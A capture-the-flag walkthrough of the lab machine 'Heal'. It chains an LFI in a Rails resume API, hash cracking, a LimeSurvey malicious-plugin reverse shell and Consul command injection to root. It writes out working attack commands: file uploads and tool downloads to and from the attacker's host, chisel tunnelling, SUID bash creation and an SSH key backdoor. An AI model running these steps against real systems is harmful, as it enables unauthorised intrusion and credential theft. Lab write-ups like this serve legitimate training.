Heal

INTRODUCTION

I arrived at Heal a couple months after it was released. At the face of it, Heal is about a website that has a simple resume-building service. I never really figured out how the name “Heal” relates to the box or icon. While it was on the easier side of “Medium”, it’s tempting to do way too much recon.

Everything you need to know from recon can be found by “spidering” the website using a web app proxy (I’ll be using ZAP in this one). From here, you’ll discover a couple of subdomains and gain an understanding of how they work. The target in front of you is actually very minimal - almost everything is offloaded onto the subdomains. If you play with the app a little, you will surely notice a moment when the server trusts some data that it shouldn’t; exploiting that is half of the battle; the other half is doing research on common files that the target’s framework uses for configuration. This will lead to a successful foothold into a web app dashboard.

Gaining actual RCE on the target is very easy. A little research may be required, but conceptually it’s almost self-evident. Explore the functionality that the web app provides to administrators, and think about which features could be used to gain RCE directly (Don’t overthink it!)

If you’re already comfortable playing around with proxies, obtaining the root flag might only take a few minutes. Once again, the critical step here is doing a little bit of research. After a very short sprint of local privesc enumeration, you’ll find that one of the services you’ve gained access has a big, serious vulnerability, and exploitation is trivial. Public PoCs are available and work without modification.

Overall, Heal was fine. It was mostly focused on research, which is sometimes good for you. It was also a great opportunity to give some love to one of my tools, Alfie. If you’re wise, you’ll try it out. If you’re really wise, you’ll give it a star ⭐

title picture

RECON

nmap scans

Port scan

I’ll set up a directory for the box, with a nmap subdirectory, then set $RADDR to the target machine’s IP, and scan all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/

Fairly current Nginx. Note the redirect to heal.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=heal.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost root enum

Next I’ll check for subdomains of heal.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enum

We’ve discovered a subdomain. I’ll add this to my /etc/hosts then move on to directory enumeration:

echo "$RADDR api.$DOMAIN" | sudo tee -a /etc/hosts

First, the primary domain, heal.htb:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

directory enum 1

Next I’ll check the subdomain, api.heal.htb. Since it’s an API, it would be wise to check alternate methods, too:

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

directory enum 2

So far, this box has been really flaky - sometimes I’ll scan and get certain results, then I’ll perform the exact same scan and get different results! 😠

As a result, I’ve been doing every scan twice

API fuzzing again

It’s marked as an API, so let’s try a more API-specific wordlist:

WLIST=/usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
ffuf -w $WLIST:FUZZ -u http://api.$DOMAIN/FUZZ -t 60 -ic -c -timeout 4

API fuzzing

Exploring the Website (heal.htb)

The index page of http://heal.htb indicates it’s some kind of resume builder.

index page

When we examine the page source (ctrl+u) we can see it’s made with React:

<meta
  name="description"
  content="Web site created using create-react-app"
/>

It’s not a perfect indicator at all, but a lot of inexperienced developers rely on create-react-app - maybe this one has made some mistakes? 😴

One weakness that I know about is that react apps are on development mode by default, so we might be able to get extra information from HTTP 500 pages!

I went ahead and signed up as jim@bob.htb : jimbob : password to check out the web app. This opens up a page where you can fill in data to assemble your resume:

resume builder page

The sections are:

  • Personal Information (name, email, phone)
  • Education (school name, degree, description)
  • Experience (company, job title, description)
  • Projects (free-form text)
  • Skills (free-form text)
  • Languages (free-form text)

At the bottom, there is a button to export the resume as a PDF. That could be interesting 🚩

After filling in the form with some test data, a quick check confirms that it will happily render HTML tags (in every text field, too):

html tags in pdf

The Survey button at the top right brings us to a page that presumably links to some other subdomain:

take survey

ZAP Spider

It’s a good idea to take a quick look at the website using ZAP, too. I’ll open FoxyProxy and browse a little. This helps me to map out the website a little, and to uncover hidden endpoints.

I’ll add http://heal.htb.* and its subdomains http://.*.heal.htb.* to the Default Context and try “spidering” the site. The results were pretty informative:

API endpoints zap spider

heal.htb was pretty uninteresting, but that’s actually because it offloads all of its functionality to the API subdomain!

Some of those are kinda “false-positives” though. Once we filter them out, we’re left with:

  • download(filename)
  • profile
  • resume
  • signin / signup
  • robots

I.e. this lines to up exactly the functionality we see on http://heal.htb. http://api.heal.htb/download is used when we click the Export as PDF button at the bottom of the resume page. First, a request to /export is made that contains all of the resume data:

API export

a filename is returned in the response; we’re automatically redirected to /download to get the returned filename:

download endpoint

It takes two steps for this whole “download” thing to happen, and for some reason the server is trusting us to provide the filename. For the download…

🚨 If we’re lucky and the server isn’t checking the download token properly, this might be a breach of privacy which allows us to read other people’s resumes. If we’re really really lucky this will lead to a full-blown LFI. I’ll definitely follow-up on this later.

take-survey.heal.htb

I’ll go ahead an add take-survey.heal.htb to my /etc/hosts as well, and check out the survey page

Just from the URL though, I’m seeing a PHP page that takes a parameter. …a good reminder to check for file inclusion 🚩

echo "$RADDR take-survey.$DOMAIN" | sudo tee -a /etc/hosts

Navigating to the survey, we see a couple of things to investigate:

take-survey

In the "..." menu there is the option to load an unfinished survey. Correspondingly, if you’ve already started the survey, you have the option to save your progress.

load unfinished survey

Also, if we delete the survey ID, we get a little hint about a username:

take-survey username revealed

💡 Good to know - ralph@heal.htb is the administrator

Since we didn’t know about this during the previous directory enumeration, I’ll check this subdomain now:

I found that I was getting inconsistent results, so I slowed it down and filtered-out HTTP 403 instead of filtering by response size:

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://take-survey.$DOMAIN/FUZZ -t 10 -ic -c -timeout 4 -mc all -fc 403

It still took a few tries, but I determined a few directories and files:

  • index.php
  • /admin
  • /installer
  • /assets
  • /upload
  • /quotas
  • /responses

Nothing is accessible - everything results either a 403 Unauthorized or in a redirect to the /admin login page:

limesurvey admin login

Exploring the website (api.heal.htb)

The API subdomain brings us to a page declaring that it’s using Ruby 3.3.5 (circa Sep. 2024) and Rails 7.1.4 (circa Aug. 2024)

api subdomain

In a cursory search, I didn’t see any obvious glaring vulnerabilities in either of these. A couple of DOSs, but that’s all.

FOOTHOLD

Getting someone else’s resume

To test if there’s some kind of breach of privacy on the website, I’ll create a second user and have each user create a resume. The server should then generate two PDF files to download. The question is: can the two users download each other’s resumes?

As far as I can tell, there is no anti-CSRF token in place, so I can just fire requests from Repeater (“Requester” in ZAP) and it should work fine.

In a private/incognito tab, I registered a second user called Bobjim and exported a resume (note the filename):

Bobjim resume

Then, from my Jimbob tab, I pressed the Export PDF button and intercepted the request. Stepping through the sequence of the requests until the one for /download, I then replaced Jimbob’s filename with Bobjim’s, therefore accessing another user’s resume:

jimbob gets bobjim resume

It worked! Even though the file is saved under Jimbob’s original filename, we obtained the content of Bobjim’s resume (again, note the filename in the download URL):

jimbob gets bobjim resume 2

👍 Super. I’m not sure how we can use this yet, but if I were a bug bounty hunter I would definitely be filing this as an IDOR bug!

This is probably just a breach of privacy.

I might be able to turn this into an XXE, but I don’t think the whole “access some else’s resume” concept factors into that 🤔

Checking for LFI

As I mentioned earlier, this whole /download?filename= API endpoint might, if we’re really lucky, be usable as an LFI. To check, I’ll run it through my tool, Alfie:

💡 Alfie is used for rapidly checking a ton of different path traversal, encoding, and bypass methods to try to find an LFI. If it finds one, it then tries to find as many files as possible by reusing the successful traversal method.

We’ll need the Authorization: Bearer token from ZAP. Go ahead and copy that to the clipboard, then paste it into Alfie 👇

cd ./tools
git clone https://github.com/4wayhandshake/Alfie.git && cd Alfie
TOKEN='Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
python3 alfie.py -u "http://api.heal.htb/download?filename=" -H "$TOKEN" --threads 40 filter

Alfie filter

It’s suggesting we filter out word counts 3, 7, and 14, so I’ll just filter out the whole range (you can often just copy-paste the suggested filter) to use with scan mode:

python3 alfie.py -u "http://api.heal.htb/download?filename=" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --threads 40 -fw '3-14' --max 5 scan

alfie scan mode

Nice! it claims to have found a file. Let’s verify this claim:

curl "http://api.heal.htb/download?filename=/etc/passwd" -H "$TOKEN"

scan mode verified

Yup, that totally worked. We should be able to use this as a nearly arbitrary LFI now. Next we can run Alfie in enum mode, passing it /etc/passwd (the green/bold text from scan mode) as the --example-lfi parameter:

python3 alfie.py -u "http://api.heal.htb/download?filename=" -H "$TOKEN" --threads 40 -fw '3-14' --max 5 enum --example-lfi '/etc/passwd'

Alfie enum

That’s an awesome proof of concept, and now we have a copy of /etc/passwd, but the usefulness of this is a little limited without knowing what’s actually in the application.

LFI for Application Files

For the application files, it’s better to force scan mode to check for files with relative paths instead of absolute paths (like /etc/passwd), we can provide the -rel argument to scan mode:

This functionality was actually the reason that I wrote Alfie in the first place: It was for Download, to find the package.json file for a NodeJS web app.

That’s why I’m hopeful for this to work; a NodeJS and a Ruby on Rails app are architecturally pretty similar.

python3 alfie.py -u "http://api.heal.htb/download?filename=" -H "$TOKEN" --threads 40 --target_system 'linux,node,ruby' -fw '3-14' --max 5 scan -rel

… and 45s later, we found a match!

alfie scan for relative paths

Once again, we can copy-paste the bold, green part and use it as the --example-lfi for enum mode:

python3 alfie.py -u "http://api.heal.htb/download?filename=" -H "$TOKEN" --threads 10 --target_system 'linux,ruby' -fw '3-14' --min 2 --max 2 enum --example-lfi '%2e%2e%2f%2e%2e%2fconfig%2fapplication%2erb'

Alfie enum 2

Alfie will have dumped the file contents into the ./output directory for us so we can examine the files. While most of the contents seem like unimportant configuration variables, there are a couple references to other files that we didn’t enum:

  • Inside config/environment/development.rb:

      if Rails.root.join("tmp/caching-dev.txt").exist?
        config.cache_store = :memory_store
        config.public_file_server.headers = {
          "Cache-Control" => "public, max-age=#{2.days.to_i}"
        }
      else
        config.action_controller.perform_caching = false
        config.cache_store = :null_store
      end
    
  • Inside config/database.yml:

    development:
      <<: *default
      database: storage/development.sqlite3
    
    test:
      <<: *default
      database: storage/test.sqlite3
    
    production:
      <<: *default
      database: storage/development.sqlite3
    

    ☝️ Note that both Production and Development use the development database 🤔 Suspicious!

After enum mode finishes, Alfie drops us into a console for manual enumeration:

alfie manual enum

We didn’t find this caching-dev.txt file, which means the server is probably in production mode. However, we did get a copy of development.sqlite3! 😁

sqlite3 ./output/development.sqlite3
>> .tables  # users table is present
>> .mode table
>> .headers on
>> select * from users;

Found password in development database

🎁 That’s the password hash for Ralph. I think it’s bcrypt. Let’s crack it!

echo 'ralph:$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' > sqlite.hash
hashcat -m 3200 sqlite.hash $WLIST --username

Before long, we’d cracked it:

cracked hash

We have a credential for the web app: ralph@heal.htb : ralph : 147258369 🍰

I checked for credential reuse on SSH, but unfortunately it didn’t work. It does, however, let us into the LimeSurvey admin panel:

LimeSurvey admin dashboard

LimeSurvey Admin Panel

Earlier when I first discovered that the target was running LimeSurvey, I did a little vulnerability research on the platform. I don’t recall whether or not I knew the exact version that the target is running.

Regardless, I found a couple prime candidates that weren’t really good options until now, since they both require an authenticated user to this dashboard:

  1. CVE-2024-6933 SQLi at POST /index.php?r=admin/database/index/updatesurveylocalesettings_generalsettings
  2. CVE-2021-44967 RCE via uploading a malicious plugin to LimeSurvey

Even though the RCE one is older, it’s probably still viable. After all, to eliminate this kind of thing, the application developer would need to deny-list several important (albeit dangerous) PHP functions that commonly lead to RCE

cve meme

This begs the question of whether or not that should have even been accepted as a CVE. After all, isn’t the whole point of a plugin system that you’re able to change the way something works?

Shouldn’t that also include an intentional backdoor, if you wanted it? 🤔

Therefore, since (2) has a good chance of leading to (1) as a side-effect, I’ll attempt it first.

The NVD page on the CVE has a link to a github repo with a PoC exploit, presumably by the CVE author? They include some brief instructions on its use, too:

cd ./exploit
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.git && cd Limesurvey-RCE
vim php-rev.php  # edit the $ip and $port variables
zip Y1LD1R1M.zip php-rev.php config.xml  # zip these files to make a fake "plugin" package
# Open a port for the reverse shell
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
bash
nc -lvnp 4444

php reverse shell setup

From the dashboard, we should be able to upload the plugin now. Click Configuration > Plugins > Upload & Install:

revshell upload

LOL 🙃

However, when we choose to Install, we are notified that this plugin is not compatible with the LimeSurvey installation. Since the “plugin” we provided is only two files (and one of them is just a reverse shell), the issue must be within config.xml:

php reverse shell setup2

Noting the target/s LimeSurvey version of 6.6.4, I added line 21 shown above into config.xml and re-zipped the exploit. This time, it accepted the upload just fine 👍

revshell upload 2

Note that we still need to activate the malicious plugin:

activate malicious plugin

Finally, according to the last line of the PoC exploit, we simply need to perform a request to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php to open the reverse shell (I’ll just browse to the URL):

reverse shell www-data

The reverse shell opened 🐴

Upgrade the shell

First, let’s change to bash:

SHELL=/bin/bash script -q /dev/null

Now the usual stuff:

[ctrl+z]
stty raw -echo; fg [enter] [enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120

USER FLAG

Local enumeration - www-data

Checking netstat shows a surprising number of listeners on 127.0.0.1. I should probably bring chisel to the target and form a SOCKS proxy:

netstat

The only one I really recognize right away is 5432, which is a PostgreSQL database (and of course DNS).

A quick check to ps aux makes at least a couple of these listeners obvious:

ps aux

We have the Puma server running via Ruby + Rails on http://api.heal.htb, reverse proxied to port 3001. React is running via Node + Express on http://heal.htb, but it’s not clear what port it’s on. We can get more of the story by using fold:

ps aux | grep node | fold -w 120

ps aux 2

Node is running from /home/ralph, so we can’t read it. consul is running too, but that’s probably just to help with the box stability.

Sometimes it’s convenient to peruse the target’s files on my attacker host, so I’ll start up an HTTP server that I can upload things to:

simple-server 8000 -v

During enumeration, I might upload a few files using cURL - but I probably won’t mention it in this walkthrough:

curl -F 'file=@./relative/path/to/file' http://10.10.14.7:8000

Looking around for some interesting files within /var/www/limesurvey, I’m immediately drawn to the admin directory. admin/admin.php points to admin/index.php which in turn references /../application/config/config.php:

// ...
'db' => array(
    'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
    'emulatePrepare' => true,
    'username' => 'db_user',
    'password' => 'AdmiDi0_pA$$w0rd',
    'charset' => 'utf8',
    'tablePrefix' => 'lime_',
)

Exactly what I was hoping for! I’ll start up a chisel server for a SOCKS5 proxy, then connect the chisel client, then finally we’ll try connecting to the database.

Chisel SOCKS Proxy

During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

socks5  127.0.0.1 1080
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Next, on the target machine, I’ll download a precompiled version of chisel from my HTTP server, then start chisel in client mode and background the process:

cd /tmp/.Tools
wget http://10.10.14.7:8000/chisel
./chisel client 10.10.14.7:9999 R:1080:socks &

Chisel server accepts the connection:

socks  proxy open

All good - now we can connect to all those ports we saw listening on 127.0.0.1.

PostgreSQL

We already have the proxy running, and all the database connection info, so connecting to it should be easy:

Note that -h is for hostname in psql, not help 👇

Usual syntax: psql -h [host] [db_name] [username]

proxychains psql -h localhost survey db_user  # password: AdmiDi0_pA$$w0rd

psql

Let’s list the tables:

\d

There are 105 tables, but we see lime_users which might be interesting:

\d lime_users

psql 2

select users_name,full_name,email,password from lime_users;

psql 3

Even though the hash is in a different format, this is the user we logged into the dashboard with, so we already know the password.

To verify, I re-cracked it using hashcat.

There’s only one user, ralph. Too bad, I was really hoping for more! 👎

Trying all the ports

TCP 8500

8500

It’s clearly running HTTP. Let’s try curl instead:

proxychains curl -i http://localhost:8500 
# HTTP 301 to /ui/
proxychains curl -i http://localhost:8500/ui/
# Huge page, with some big chonker of an SVG in it

This always takes foreeeveeerr to load, but I’ll try running firefox through proxychains to the target host:

⚠️ Be sure to close all tabs in any existing Firefox instances before doing this

proxychains firefox --safe-mode http://127.0.0.1:8500 &

Yeah, it took a couple minutes, but it finally loaded:

consul UI

It looks like Consul monitors itself (lol wut), the React app, PostgreSQL, and the Ruby API. We can also see the exact version is 1.19.2.

It looks like this version has a few vulnerabilities. One of them is even in Metasploit. I don’t really enjoy using metasploit, so I found a good-looking alternative on Github: https://github.com/owalid/consul-rce

This script exploits a command injection vulnerability in Consul Api Services. The vulnerability exists in the ServiceID parameter of the PUT /v1/agent/service/register API endpoint. The ServiceID parameter is used to register a service with the Consul agent. The ServiceID parameter is not sanitized and allows for command injection. This vulnerability can be used to execute arbitrary commands on the host running the Consul agent.

The script may accept the CONSUL_TOKEN argument. I checked to see how I could obtain that token, and it’s also through the same API:

curl -s http://localhost:8500/v1/agent/self | jq

I didn’t see the token, but I did see some slight indication that we might not need it:

Consul ACLs

We might not even need a token, eh? Alright, let’s just try the exploit and see what happens!

cd ./exploit
git clone https://github.com/owalid/consul-rce.git && cd consul-rce
proxychains python3 consul_rce.py -th localhost -tp 8500 -c 'touch /tmp/test'

root exploit test 1

Now we can check /tmp to see if it worked:

root exploit test

😮 It worked! The /tmp/test file was written by root. Awesome!

If we can perform command injection as root, we can basically privesc any way we want. My usual go-to is planting an SSH key, but today let’s do an SUID bash:

Initially, I tried doing both commands in one line, and it failed.

proxychains python3 consul_rce.py -th localhost -tp 8500 -c 'cp /usr/bin/bash /tmp/bak1209899923'
proxychains python3 consul_rce.py -th localhost -tp 8500 -c 'chmod u+s /tmp/bak1209899923'

Hopefully that resulted in an SUID copy of bash:

suid bash created

🎉 Nice! Let’s escalate to root:

./bak1209899923 -p

privesc to root

😉 There’s the flag; read it

cat /root/root.txt

What a strange box - we got the root flag before the user flag! I don’t like leaving an SUID copy of bash around (it spoils the box for other players), so I’ll quickly plant an SSH key and login using a key instead:

ssh-keygen -t rsa -b 1024 -N 'parak33t' -f root_id_rsa
cat root_id_rsa.pub | base64 -w 0  # [COPY] to clipboard

Using our root shell, plant the key:

echo -n '[PASTE]' | base64 -d >> /root/.ssh/authorized_keys

Now I should be able to log in over SSH from my attacker host:

ssh -i ./root_id_rsa root@heal.htb

root ssh

ROOT FLAG

☝️ I know that we’re actually going for the user flag and the header above says “root flag”, I just didn’t want to spoil the surprise by writing “root flag” as happening before “user flag” 😉

Of course, we can now check both users’ home directories and see that it’s actually ron that holds the user flag. Go ahead and read it to finish off the box:

cat /home/ron/user.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf ./exploit/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • Use ZAP right away. It might even be good to spider the target before doing any other web enumeration. There’s a really good chance that you will get some quick wins that would otherwise have required a few minutes of scanning. This can also help uncover things that the typical web fuzzing would miss, or you wouldn’t think to check (HTML comments, non-GET URIs, etc.)

  • 💎 Research a framework if you have never developed an app with it. It took me a little while before I realized precisely which files were important for the configuration of a Ruby + Rails + Puma app. However, once I did, I added those files to a checklist so I won’t forget again!

two crossed swords

Defender

  • 👻 Use service accounts. I’m still a little puzzled about why we were able to use Consul for privesc to root. The exploit was quite old, which suggests to me that Consul is… not great. But on top of that, why was Consul running as root? Why not make a service account that can only manage Consul and the three services it was monitoring?

  • 🐘 ​Disable dangerous functions in PHP web apps. We were able to open a reverse shell by using a very basic PHP reverse shell. The dangerous functions used by that reverse shell are very well-known, so why were they not disabled by default?


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake